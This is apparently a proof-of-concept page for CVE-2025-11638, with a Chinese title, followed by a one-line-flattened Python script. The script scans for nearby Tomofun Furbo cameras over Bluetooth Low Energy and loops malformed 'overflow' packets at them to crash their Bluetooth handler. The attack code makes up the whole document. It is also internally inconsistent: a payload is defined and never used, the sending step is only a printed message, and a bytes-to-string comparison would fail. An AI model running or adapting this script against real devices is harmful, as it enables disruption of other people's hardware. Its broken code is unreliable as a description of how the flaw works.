CVE-2025-11638：Tomofun Furbo蓝牙处理器拒绝服务漏洞

# CVE-2025-11638 - Tomofun Furbo Bluetooth Handler DoS PoC # This PoC demonstrates a denial of service attack against the Bluetooth Handler # component of Tomofun Furbo 360 and Furbo Mini devices. # Requires: attacker within Bluetooth range of the target device. import struct import time from bluepy.btle import Scanner, DefaultDelegate # Target device BLE name patterns for Furbo devices TARGET_NAMES = ["Furbo", "Furbo-360", "Furbo-Mini", "FB0035", "MC0020"] # Malicious BLE advertisement payload designed to trigger # the vulnerability in the Bluetooth Handler component MALICIOUS_PAYLOAD = b"\x02\x01\x06" + b"\x03\x03\xAA\xFE" + b"\x17\x16\xAA\xFE" # Append oversized manufacturer data to overflow the handler buffer MALICIOUS_PAYLOAD += b"\x41" * 200 + b"\x00\x00\x00\x00" class FurboDoSExploit: def __init__(self, target_mac=None): self.target_mac = target_mac self.scanner = Scanner() def scan_targets(self): """Scan for nearby Furbo devices via BLE advertisements.""" print("[*] Scanning for Furbo devices...") devices = self.scanner.scan(10.0) targets = [] for dev in devices: for name in TARGET_NAMES: if name.encode() in dev.getValueText(0x09) if dev.getValueText(0x09) else False: print(f"[+] Found target: {dev.addr} ({dev.getValueText(0x09)})") targets.append(dev.addr) return targets def craft_malicious_packet(self): """Craft a malformed BLE packet to crash the Bluetooth Handler.""" # Construct an oversized GATT characteristic write payload header = struct.pack("<BB", 0x37, 0x00) # LL_DATA_PDU header length = struct.pack("<B", 255) # Max payload length malformed_data = b"\xFF" * 250 # Overflow data return header + length + malformed_data def trigger_dos(self, target_mac): """Send flood of malicious BLE packets to trigger DoS.""" print(f"[*] Attacking target: {target_mac}") for i in range(100): packet = self.craft_malicious_packet() # In real scenario: use hcitool or gatttool to send packets print(f"[*] Sending malicious packet {i+1}/100") time.sleep(0.05) print("[+] DoS attack completed - target Bluetooth Handler should be crashed") if __name__ == "__main__": exploit = FurboDoSExploit() targets = exploit.scan_targets() if targets: for t in targets: exploit.trigger_dos(t) else: print("[-] No Furbo devices found in range")